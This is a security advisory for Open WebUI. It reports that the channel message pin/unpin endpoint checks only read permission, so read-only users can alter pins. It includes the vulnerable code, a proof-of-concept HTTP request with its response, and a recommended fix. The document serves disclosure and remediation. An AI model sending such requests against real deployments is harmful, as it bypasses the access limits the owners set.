PYSEC-2026-2705 
### Summary
`Pin/Unpin` is a write operation (modifies the message's `is_pinned `, `pinned_by`, `pinned_at` fields), but in standard channels it only checks `read` permission, allowing users with read-only access to pin/unpin any message.

### Details
https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218

```
@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
    request: Request,
    id: str,
    message_id: str,
    form_data: PinMessageForm,
    user=Depends(get_verified_user),
    db: Session = Depends(get_session),
):
    check_channels_access(request)
    channel = Channels.get_channel_by_id(id, db=db)
    if not channel:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)

    if channel.type in ['group', 'dm']:
        if not Channels.is_user_channel_member(channel.id, user.id, db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    else:
        if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
```

The `channel_has_access` function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the `AccessGrants` table:

```
def channel_has_access(
    user_id: str,
    channel: ChannelModel,
    permission: str = 'read',  # 'read' or 'write'
    strict: bool = True,
    db: Optional[Session] = None,
) -> bool:
    if AccessGrants.has_access(
        user_id=user_id,
        resource_type='channel',
        resource_id=channel.id,
        permission=permission,
        db=db,
    ):
        return True
    # ...
```

The `AccessGrant` table distinguishes between `read` and `write` permission levels.

### PoC
`admin` creates Standard Channel with Read-Only Access for `test1` :

```
POST /api/v1/channels/create
Authorization: 
Content-Type: application/json

{
  "name": "pin-test-standard",
  "access_grants": [
    {
      "principal_type": "user",
      "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
      "permission": "read"
    }
  ]
}
```

`admin` posts a Message in the Channel,  and  `test1` has `read` permission only.
<img width="1024" height="423" alt="image" src="https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f" />

`test1` attempts to Pin Message:

```
POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json

{
  "is_pinned": true
}
```

```
{
  "id": "4797359b-aad5-4081-9617-e8ca58524a87",
  "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
  "is_pinned": true,
  "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
  "pinned_at": 1774716314908288719,
  "content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}
```

Successfully pinned admin's message. `pinned_by` records test1's user ID.
<img width="1024" height="350" alt="image" src="https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8" />

 `test1` (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks `read` permission, allowing read-only users to pin/unpin any message.

### Impact
Read-only users can pin irrelevant messages, disrupting important information display in the channel .

### Recommended Fix
Change the Pin endpoint's permission check from `read` to `write` .
CVSS v3.1 score: 4.3